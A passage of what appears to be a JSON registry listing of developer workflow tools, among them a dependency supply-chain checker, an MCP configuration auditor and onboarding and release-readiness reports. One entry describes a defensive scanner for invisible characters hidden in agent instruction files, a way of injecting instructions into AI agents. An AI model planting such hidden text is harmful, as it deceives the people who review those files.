yarn.lock (classic and berry), for Python projects uv.lock, poetry.lock, Pipfile.lock or a ==-pinned requirements.txt, for Rust projects Cargo.lock, and for Go projects go.mod — direct dependencies by default, scope=all for the whole tree — asks registry.npmjs.org, pypi.org, crates.io, or proxy.golang.org plus deps.dev for the locked version and for `latest`, and reports each package as CURRENT, BEHIND, FLAGGED (PUBLISHER_CHANGED, LICENSE_CHANGED, MAINTAINERS_REPLACED, LATEST_DEPRECATED, INSTALL_SCRIPT_ADDED when the newer version gains a preinstall/install/postinstall hook, PROVENANCE_DROPPED when the version you have carries a Sigstore build attestation and the newer one does not, SIZE_JUMP when the unpacked tarball at least triples, LOCKED_YANKED when the PyPI or crates.io release you pinned was withdrawn, REQUIRES_PYTHON_CHANGED, MSRV_CHANGED) or UNCHECKED when the registry did not answer — a fetch failure is never reported as \"same\". Every checked version is also queried against osv.dev (npm, PyPI, crates.io or Go ecosystem) in one batch call, so a KNOWN_VULNERABILITY against the exact version you have is reported first, and an OSV outage is printed as not checked rather than as clean. It says what it cannot know — a publisher change is the account that ran the publish, so a handover to a CI token looks identical to a takeover and is a signal to look at, not a verdict; it reads metadata, never tarballs, so behaviour changes are out of scope; a bun lockfile is named as unsupported rather than silently skipped. Its only network access is anonymous GETs to registry.npmjs.org, pypi.org, crates.io, proxy.golang.org or api.deps.dev and one anonymous POST to api.osv.dev. A local path is inspected in place; a URL is shallow-cloned to a temp directory.","owner":{"kind":"user","slug":"pugarhuda"},"registry_organization":"pugarhuda","tags":["domain-supply-chain","job-dependency-review","audience-developers","effect-read-only"],"primary_domain":"domain-supply-chain","author":"pugarhuda","version":"0.8.1","published_at":"2026-09-06T14:06:57.381091+00:00","visibility":"public","quality_score":1,"size_bytes":16170,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":2,"names":["diff","resolve"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Project to check: a git URL (https://, ssh://, git@host:owner/name) or a path to a local checkout with an npm, pnpm, yarn, uv, poetry, pip, Cargo or Go module file","example":"https://github.com/axios/axios"},{"name":"branch","type":"string","required":false,"default":"","description":"Branch or tag to inspect. Ignored for a local path; defaults to the repository default branch."},{"name":"scope","type":"string","required":false,"default":"direct","description":"`direct` checks only the root package.json dependencies; `all` checks every package the lockfile pins"},{"name":"max_packages","type":"string","required":false,"default":"200","description":"Upper bound on packages queried (two registry GETs each). Packages beyond it are counted as skipped, never assumed fine."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:34bc45277c96ad97ee50adca5ec413950b05d928b622e326a84f4215247773d7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1},{"name":"sh","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ankurrawat/mcp-security-firewall-guard@4.16.26","reference":"ankurrawat/mcp-security-firewall-guard@4.16.26","uri":"https://play.modiqo.ai/ankurrawat/mcp-security-firewall-guard@4.16.26","manifest_uri":"https://play.modiqo.ai/ankurrawat/mcp-security-firewall-guard@4.16.26","name":"mcp-security-firewall-guard","title":"mcp-security-firewall-guard","description":"You installed 5 community Model Context Protocol (MCP) servers into Claude Desktop or Cursor and granted them system permissions. This audits their configuration files for plaintext API keys, unconstrained bash shell escapes, and path traversal vectors, giving you an instant zero-trust security scorecard.","owner":{"kind":"user","slug":"ankurrawat"},"registry_organization":"ankurrawat","tags":["effect-write","developer-tools","automation","productivity","quality"],"primary_domain":"domain-uncategorized","author":"ankurrawat","version":"4.16.26","published_at":"2026-09-06T13:41:53.613016+00:00","visibility":"public","quality_score":1,"size_bytes":523735,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":6,"names":["step_3_deep_code_inspection","step_1_bootstrap_environment","step_6_emit_developer_report","step_2_parallel_fanout_execution","step_5_synthesize_metrics_and_health","step_4_validate_integrity_constraints"]},"parameters":[{"name":"target_path","type":"string","required":false,"default":".","description":"Path to inspect or execute against"},{"name":"dry_run","type":"boolean","required":false,"default":false,"description":"Run in dry-run mode without modifying filesystem"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5a26e1083da47e8f51aa21005a4d8bca9373572f9113fe628bbaa6a6afdfcbfc","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/ashtika2002/codebase-compass@2.0.7","reference":"ashtika2002/codebase-compass@2.0.7","uri":"https://play.modiqo.ai/ashtika2002/codebase-compass@2.0.7","manifest_uri":"https://play.modiqo.ai/ashtika2002/codebase-compass@2.0.7","name":"codebase-compass","title":"codebase-compass","description":"Given a local repository path, inspects the codebase through eight parallel analysis steps (structure, language/framework, config/requirements, architecture, repository map, dependencies, key parameters, risk areas) and synthesizes a structured onboarding report covering project overview, architecture map, application flow, repository map, configuration and requirements, key parameters, important flows, change navigation, risk areas, learning path, getting started, and unknowns. Excludes generated/build artifacts from source metrics, separates source from data/config files, detects ASP.NET (ASMX/Web.config/IIS URL rewriting) and generic web/framework stacks, and is reusable across repositories. Read-only — never modifies the target repo.","owner":{"kind":"user","slug":"ashtika2002"},"registry_organization":"ashtika2002","tags":["domain-developer-tools","job-onboarding","audience-developers","effect-read-only"],"primary_domain":"domain-developer-tools","author":"ashtika2002","version":"2.0.7","published_at":"2026-09-06T06:23:52.974727+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":28832,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":8,"names":["scan_repo","scan_config","detect_risks","validate_input","detect_language","synthesize_report","analyze_architecture","analyze_dependencies"]},"parameters":[{"name":"repo_path","type":"string","required":true,"default":"","description":"Absolute path to the local project/repository to analyze","example":"/Users/dev/my-project"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fc51f810212c5cd091dca36fdc593969e0eb24ab31e25bdb5608177b467f90a0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":6,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/factcheck/factcheck@1.7.0","reference":"factcheck/factcheck@1.7.0","uri":"https://play.modiqo.ai/factcheck/factcheck@1.7.0","manifest_uri":"https://play.modiqo.ai/factcheck/factcheck@1.7.0","name":"factcheck","title":"factcheck","description":"The same result as an agent flailing through a repo for 200k tokens -- but as a fixed evidence-collection protocol that costs zero inference and produces the same answer twice. Give it a public GitHub repo URL and it reconciles what the CI actually executes against what the README claims, then writes FACTCHECK.md and a runnable factcheck.sh. It surfaces the Postgres or Redis services CI needs that the README never mentions, the system packages pip and npm do not install, the real runtime versions, the true install and test commands, and every line where the documentation contradicts the build. Every claim cites a file and a line, and the same commit always produces the same document.","owner":{"kind":"org","slug":"factcheck"},"registry_organization":"factcheck","tags":["github","ci","readme","documentation","onboarding","setup","install","developer-experience","github-actions","workflows","repository","provenance","stale-docs","getting-started","build","devex"],"primary_domain":"domain-uncategorized","author":"Colinha888","version":"1.7.0","published_at":"2026-09-06T05:44:06.255032+00:00","visibility":"public","quality_score":0.875,"size_bytes":45079,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":1,"names":["reconcile"]},"parameters":[{"name":"repo_url","type":"string","required":true,"description":"Which GitHub repository to check. Paste its URL, e.g. https://github.com/netbox-community/netbox -- a browser URL with /tree/main on the end works too, and so does the short form netbox-community/netbox."},{"name":"out_dir","type":"string","required":false,"default":".","description":"Where to write the two files, FACTCHECK.md and factcheck.sh. Press Enter to use the folder you ran this from. A folder that does not exist yet is created."},{"name":"mine_issues","type":"string","required":false,"default":"no","description":"Press Enter to skip this. Type yes to also search the repository's issue tracker for reported setup problems -- slower, and the only part that uses GitHub API rate limit."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d0c28699b6f66ad2cfd5f69127280ba05402d4e240427e4fe2e180a9d87029ac","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/saikiranpulagalla/git-handoff-proof@0.0.8","reference":"saikiranpulagalla/git-handoff-proof@0.0.8","uri":"https://play.modiqo.ai/saikiranpulagalla/git-handoff-proof@0.0.8","manifest_uri":"https://play.modiqo.ai/saikiranpulagalla/git-handoff-proof@0.0.8","name":"git-handoff-proof","title":"git-handoff-proof","description":"Checks whether the command that passes in your workspace also passes at the exact commit you're about to hand off—on the same machine, in a temporary linked worktree.","owner":{"kind":"user","slug":"saikiranpulagalla"},"registry_organization":"saikiranpulagalla","tags":["git","handoff","verification","reproducibility"],"primary_domain":"domain-uncategorized","author":"saikiranpulagalla","version":"0.0.8","published_at":"2026-09-06T05:03:18.90445+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":32825,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":5,"names":["compute_result","capture_workspace","validate_repository","run_exact_head_comparison","run_workspace_verification"]},"parameters":[{"name":"repo_path","type":"string","required":true,"description":"Absolute path resolving to the root of an existing local Git working tree with a resolvable HEAD. Relative paths and repository subdirectories are rejected."},{"name":"verification_command","type":"string","required":true,"description":"Trusted user-supplied shell string run exactly once in the source workspace and, after a successful baseline, once at exact HEAD. Shell syntax is allowed; stdout and stderr are merged and bounded. The command may have side effects. Do not include or print secrets."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1fda9ffb35833563eb85b08fd944089c030d4feb1fe9b6d7470306e349c35378","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":1,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"sh","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/retry-ledger@0.5.1","reference":"rajdeepkushwaha/retry-ledger@0.5.1","uri":"https://play.modiqo.ai/rajdeepkushwaha/retry-ledger@0.5.1","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/retry-ledger@0.5.1","name":"retry-ledger","title":"retry-ledger","description":"Rote already records every step your agent took, including the ones that failed. This reads that record and tells you what went wrong, what fixed it, and what the detour cost in time and tokens. If the same command failed five times it is shown as one problem, not five. UNCHANGED_RETRY means the identical command was run again and failed again. REPAIRED_RETRY means something changed before it worked, and it tells you exactly which argument changed and whether that fix is already written down in your AGENTS.md or CLAUDE.md. TRANSIENT means the same command worked later on its own. UNRECOVERED means it never worked. INDETERMINATE means the attempts could not be matched up, which is not a claim that everything was fine. It does not tell you which step caused the trouble, because the recording does not show that and guessing would be worse than useless. It does tell you which failure came first, and for each problem it shows the last thing that worked before it, the command that failed, and the command that worked afterwards. Pass workspaces_root=demo to try it with nothing set up. Before it reads your history it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. It reads files only. Read-only, no credentials, no network. Needs python3.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["agent-ops","observability","rote","debugging","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.5.1","published_at":"2026-09-06T03:17:09.012062+00:00","visibility":"public","quality_score":1,"size_bytes":23519,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":3,"names":["scan","classify","selfcheck"]},"parameters":[{"name":"workspaces_root","type":"string","required":false,"default":"demo","description":"Directory holding rote workspaces. \"auto\" resolves the standard location under your home directory; \"demo\" runs the bundled trajectories with no setup."},{"name":"workspace","type":"string","required":false,"default":"","description":"Optional substring; limits the report to matching workspace names."},{"name":"repo","type":"string","required":false,"default":"","description":"Optional repository whose AGENTS.md, CLAUDE.md and .cursorrules are searched for each repair value. \"demo\" uses the bundled one."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:17cba28b349dcd8bdac5e14d6804511d73072c5f0ab73c3bcd3fbd90bd72c2dd","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajgharat07/failure-disguise-map@0.1.0","reference":"rajgharat07/failure-disguise-map@0.1.0","uri":"https://play.modiqo.ai/rajgharat07/failure-disguise-map@0.1.0","manifest_uri":"https://play.modiqo.ai/rajgharat07/failure-disguise-map@0.1.0","name":"failure-disguise-map","title":"failure-disguise-map","description":"Doesn't detect errors. Detects the moment an error becomes indistinguishable from success. Python AST finds except→success-costume returns; caller analysis escalates to CONFIRMED DISGUISE. JS is LIMITED. Read-only, zero adapters, Python stdlib.","owner":{"kind":"user","slug":"rajgharat07"},"registry_organization":"rajgharat07","tags":["domain-engineering","engineering-workflows","job-security","tool-shell","effect-read-only"],"primary_domain":"domain-engineering","author":"rajgharat07","version":"0.1.0","published_at":"2026-09-05T20:07:51.246739+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2786,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":1,"names":["scan_failure_disguise_map"]},"parameters":[{"name":"repo_path","type":"string","required":true,"default":".","description":"Path to the repository to scan for failure disguises","example":"."},{"name":"include_deps","type":"string","required":false,"default":"false","description":"When \"true\", also scan dependency directories (node_modules, site-packages, vendor)","example":"false"},{"name":"scope","type":"string","required":false,"default":"","description":"Optional comma-separated glob(s) to narrow the scan","example":"*.py,api"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fbf80cde7fa6a817acb5d8b02dbe034dd2a4c5a859145ad15fd20dbee24b1ce3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/sakshamsai26/release-readiness-investigator@0.2.6","reference":"sakshamsai26/release-readiness-investigator@0.2.6","uri":"https://play.modiqo.ai/sakshamsai26/release-readiness-investigator@0.2.6","manifest_uri":"https://play.modiqo.ai/sakshamsai26/release-readiness-investigator@0.2.6","name":"release-readiness-investigator","title":"release-readiness-investigator","description":"A release decision should distinguish an observable blocker from a check that simply has not been performed. Release Readiness Investigator assembles a local, evidence-bounded release brief from working-tree state, a selected Git range, declared CI and test signals, release documentation, dependency/manifests, migrations, and changed modules lacking obvious nearby tests. It returns GO, CAUTION, or BLOCKED as a review posture—not production approval—and pairs each posture with the missing proof and safest next check. The Play does not run tests, query CI, inspect deployment state, install packages, alter Git, or contact external services, so all runtime, environment, and production evidence is explicitly PARTIAL or UNKNOWN.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.6","published_at":"2026-09-05T07:20:34.2447+00:00","visibility":"public","quality_score":1,"size_bytes":7190,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":10,"names":["assess","boundary","classify","inventory","preflight","auth_github","write_report","parallel_targets","github_repository","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a local Git repository you are authorized to inspect. The analysis reads tracked files and local Git metadata only."},{"name":"change_range","type":"string","required":false,"default":"HEAD~1..HEAD","description":"Local Git range to assess for release risk, such as v1.2.0..HEAD. If unavailable, range-specific checks are PARTIAL rather than fabricated."},{"name":"github_owner","type":"string","required":true,"description":"Optional GitHub repository owner for read-only remote metadata evidence."},{"name":"github_repo","type":"string","required":true,"description":"Optional GitHub repository name; supply with github_owner."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the repository. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes repository files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a232d2262026497bead35572f9dcef87238983ee7abd21f14fc78e6f79113113","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":1,"shell":8,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":8,"for_each_steps":1,"complexity":20,"apis":[{"adapter":"github","steps":2,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/paveenkumar-dev/mac-audit@1.1.21","reference":"paveenkumar-dev/mac-audit@1.1.21","uri":"https://play.modiqo.ai/paveenkumar-dev/mac-audit@1.1.21","manifest_uri":"https://play.modiqo.ai/paveenkumar-dev/mac-audit@1.1.21","name":"mac-audit","title":"mac-audit","description":"Reviews your Mac's storage and installed packages in one pass, then saves a report you can act on. It writes timestamped HTML, text and JSON files into ~/Documents/storage-audits by default - the only thing it changes on your machine - and leaves reports already there untouched. Nothing it audits is ever deleted, moved, installed, upgraded or uploaded, and sudo is never used. Scans your full data volume by default, or just your home folder and Applications, grouping every candidate into low, medium, unknown and high risk tiers with its size, idle age and a suggested next command that it prints but never runs. Also reports volume capacity, applications by usage recency, Spotlight index health and APFS local snapshots no folder scan can reveal. Inventories packages across 17 managers, flagging outdated versions through each manager's own read-only check. Latest-version lookup is on by default and queries public package registries; set check_latest_versions=false to stay fully offline.","owner":{"kind":"user","slug":"paveenkumar-dev"},"registry_organization":"paveenkumar-dev","tags":["macos","storage","audit","report","filesystem","packages","inventory","read-only"],"primary_domain":"domain-uncategorized","author":"paveenkumar-dev","version":"1.1.21","published_at":"2026-09-06T14:31:25.414752+00:00","visibility":"public","quality_score":1,"size_bytes":177907,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":10,"names":["save_report","render_report","assemble_audit","local_snapshots","scan_filesystem","validate_inputs","volume_capacity","collect_packages","spotlight_health","scan_applications"]},"parameters":[{"name":"output_dir","type":"string","required":false,"default":"~/Documents/storage-audits","description":"Choose an absolute folder path or a path starting with ~/. A timestamped subfolder is created for each audit and existing reports are preserved."},{"name":"minimum_size_mb","type":"integer","required":false,"default":50,"description":"Include files and folders using at least this many MB on disk. Enter 0 or a larger whole number."},{"name":"inactivity_days","type":"integer","required":false,"default":30,"description":"Include file candidates last modified at least this many days ago. Applications use their available usage signals. Enter 0 or a larger whole number."},{"name":"maximum_results","type":"integer","required":false,"default":100,"description":"Maximum candidates in the audit. Enter a whole number of at least 1. The report has a separate rows-per-section limit."},{"name":"scan_scope","type":"string","required":false,"default":"full","description":"Choose the full data volume (default) or just your home folder and Applications. Privacy exclusions remain in effect at both scopes.","values":["home","full"]},{"name":"include_applications","type":"string","required":false,"default":"true","description":"Group applications by usage recency. Accepts true or false.","values":["true","false"]},{"name":"include_caches","type":"string","required":false,"default":"true","description":"Include cache directories. Accepts true or false.","values":["true","false"]},{"name":"include_developer_data","type":"string","required":false,"default":"true","description":"Include developer caches and generated data. Accepts true or false.","values":["true","false"]},{"name":"include_external_volumes","type":"string","required":false,"default":"false","description":"Cross filesystem boundaries onto other volumes. Accepts true or false.","values":["true","false"]},{"name":"include_protected_locations","type":"string","required":false,"default":"false","description":"Traverse otherwise protected system locations where supported. Privacy exclusions remain excluded. Accepts true or false.","values":["true","false"]},{"name":"time_budget_seconds","type":"integer","required":false,"default":900,"description":"Soft scan deadline; the audit reports partial results when exceeded. The default suits a full-volume scan; lower it for a quick home-only pass."},{"name":"max_depth","type":"integer","required":false,"default":12,"description":"Maximum directory depth below each scan root."},{"name":"max_rows_per_section","type":"integer","required":false,"default":10,"description":"Maximum rows displayed in each risk or application section. Enter a whole number of at least 1."},{"name":"previous_content_hash","type":"string","required":false,"default":"","description":"Optional previous audit content hash used to label an unchanged report."},{"name":"redact_username","type":"string","required":false,"default":"false","description":"Mask the account name throughout report bodies. Accepts true or false and fails closed on invalid values.","values":["true","false"]},{"name":"basename","type":"string","required":false,"default":"storage-report","description":"Plain filename stem. The current date and extension are appended."},{"name":"formats","type":"string","required":false,"default":"txt,html,json","description":"Comma-separated subset of txt, html, and json."},{"name":"include_packages","type":"string","required":false,"default":"true","description":"Inventory installed packages alongside the storage audit. Accepts true or false.","values":["true","false"]},{"name":"package_managers","type":"string","required":false,"default":"auto","description":"Comma-separated manager allowlist, or auto for every supported manager."},{"name":"include_package_dependencies","type":"string","required":false,"default":"false","description":"Include dependencies where the manager distinguishes them. Accepts true or false.","values":["true","false"]},{"name":"check_latest_versions","type":"string","required":false,"default":"true","description":"Run each manager's own read-only latest-version check. Accepts true or false.","values":["true","false"]},{"name":"python_scope","type":"string","required":false,"default":"managed","description":"Which Python environments to inventory.","values":["active","managed","all"]},{"name":"python_search_roots","type":"string","required":false,"default":"","description":"Comma-separated roots to search, used only with python_scope=all."},{"name":"package_timeout_seconds","type":"integer","required":false,"default":30,"description":"Per manager-command timeout, 1 through 300 seconds."},{"name":"strict_package_collection","type":"string","required":false,"default":"false","description":"Fail an available manager collector on command degradation. Accepts true or false.","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:74c5ed6e755834f082be8cee9a85a6860d936f259e422307f0db89f3887799b1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":5,"width":6,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajdeepkushwaha/standing-orders@0.5.2","reference":"rajdeepkushwaha/standing-orders@0.5.2","uri":"https://play.modiqo.ai/rajdeepkushwaha/standing-orders@0.5.2","manifest_uri":"https://play.modiqo.ai/rajdeepkushwaha/standing-orders@0.5.2","name":"standing-orders","title":"standing-orders","description":"Your agent reads AGENTS.md, CLAUDE.md, .cursorrules and their siblings at the start of every session. Nobody reads them again after the day they were written. This tells you what is in them. First, which ones actually apply, including the ones in subfolders that people forget get loaded, and the ones in your home folder that apply to every project. Second, which ones nobody has reviewed. EXCLUDED_FROM_REVIEW means a .gitignore rule hides the file, so it will never show up in a diff and a teammate who clones the repo will not even have it, which means their agent is following different instructions than yours. It tells you which rule and which line. NEVER_IN_A_DIFF means the file is untracked. DIFFERS_FROM_COMMITTED means someone edited it after it was reviewed. Third, whether there is text in them you cannot see. Some characters are invisible to you and perfectly readable to a model. HIDDEN_TEXT_DECODES means the file contains those, and because of how they work they can be turned back into ordinary text, so it prints the hidden sentence instead of just warning you. It does not report the emoji in your warning signs, and it does not report a file that only differs by Windows line endings. Run it with no arguments to try it on a bundled example. Before it reads your files it runs its own test cases through the same analyzer and prints the result. If those fail it shows you that instead of findings. Read-only, no credentials, no network. Needs python3 and git.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["security","agent-ops","prompt-injection","code-review","effect-read-only"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.5.2","published_at":"2026-09-06T03:17:14.530488+00:00","visibility":"public","quality_score":1,"size_bytes":23377,"license":null,"stats":{"downloads":10,"installs":0},"steps":{"count":3,"names":["inspect","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the directory to scan, or \"demo\" for the bundled corpus. A relative path is refused, because a step runs in rote's workspace rather than your shell directory."},{"name":"include_global","type":"string","required":false,"default":"no","description":"Set to \"yes\" to also read the instruction files under your home directory that apply to every project."},{"name":"max_depth","type":"string","required":false,"default":"0","description":"Directory depth to descend, or 0 for no limit, which is the default. A limit is a blind spot, so the report always states how many directories it skipped."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8d2fdad8c527a2ddc9f66ba32d2761af82f0560627d63ab37c4074119a9215b3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/tanishk/ai-code-change-risk-gate@1.0.6","reference":"tanishk/ai-code-change-risk-gate@1.0.6","uri":"https://play.modiqo.ai/tanishk/ai-code-change-risk-gate@1.0.6","manifest_uri":"https://play.modiqo.ai/tanishk/ai-code-change-risk-gate@1.0.6","name":"ai-code-change-risk-gate","title":"ai-code-change-risk-gate","description":"Classifies the engineering risk of a change in a local Git repository path by analyzing its diff for high-risk patterns in auth, payments, security, and infrastructure.","owner":{"kind":"user","slug":"tanishk"},"registry_organization":"tanishk","tags":["security","risk-assessment","git-diff"],"primary_domain":"domain-uncategorized","author":"Hermes 